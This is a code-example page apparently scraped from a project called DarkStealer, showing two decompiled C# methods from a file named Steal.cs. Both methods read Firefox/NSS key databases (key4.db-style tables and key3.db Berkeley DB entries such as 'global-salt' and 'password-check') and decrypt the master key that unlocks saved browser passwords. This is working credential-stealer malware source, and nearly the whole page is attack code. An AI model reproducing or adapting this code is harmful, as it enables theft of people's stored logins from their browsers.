コード例 #1
0
ファイル: Steal.cs プロジェクト: zerje/DarkStealer
        // Token: 0x060000FB RID: 251 RVA: 0x0001E624 File Offset: 0x0001C824
        private static byte[] p4k(string file)
        {
            byte[] array = new byte[24];
            byte[] result;
            try
            {
                if (File.Exists(file))
                {
                    CNT cnt = new CNT(file);
                    cnt.ReadTable("metaData");
                    string s           = cnt.ParseValue(0, "item1");
                    string s2          = cnt.ParseValue(0, "item2)");
                    Gecko4 gecko       = Gecko1.Create(Encoding.Default.GetBytes(s2));
                    byte[] objectData  = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
                    byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData;
                    Gecko8 gecko2      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
                    gecko2.method_0();
                    Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None);
                    cnt.ReadTable("nssPrivate");
                    int    rowLength = cnt.RowLength;
                    string s3        = string.Empty;
                    for (int i = 0; i < rowLength; i++)
                    {
                        if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Steal.Key4MagicNumber))
                        {
                            s3 = cnt.ParseValue(i, "a11");
IL_148:
                            Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3));
                            objectData    = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
                            objectData2   = gecko3.Objects[0].Objects[1].ObjectData;
                            gecko2        = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
                            gecko2.method_0();
                            array = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7));
                            return(array);
                        }
                    }
                    goto IL_148;
                }
                result = array;
            }
            catch (Exception)
            {
                result = array;
            }
            return(result);
        }
コード例 #2
0
ファイル: Steal.cs プロジェクト: zerje/DarkStealer
 // Token: 0x060000FC RID: 252 RVA: 0x0001E84C File Offset: 0x0001CA4C
 private static byte[] p3k(string file)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(file))
         {
             result = array;
         }
         else
         {
             new DataTable();
             Gecko9 berkeleyDB = new Gecko9(file);
             Gecko7 gecko      = new Gecko7(Steal.vbv(berkeleyDB, (string x) => x.Equals("password-check")));
             string hexString  = Steal.vbv(berkeleyDB, (string x) => x.Equals("global-salt"));
             Gecko8 gecko2     = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Steal.ConvertHexStringToByteArray(gecko.EntrySalt));
             gecko2.method_0();
             Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Steal.ConvertHexStringToByteArray(gecko.Passwordcheck), PaddingMode.None);
             Gecko4 gecko3 = Gecko1.Create(Steal.ConvertHexStringToByteArray(Steal.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
             Gecko8 gecko4 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
             gecko4.method_0();
             Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
             if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24)
             {
                 array  = gecko5.Objects[0].Objects[3].ObjectData;
                 result = array;
             }
             else
             {
                 Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
                 result = array;
             }
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }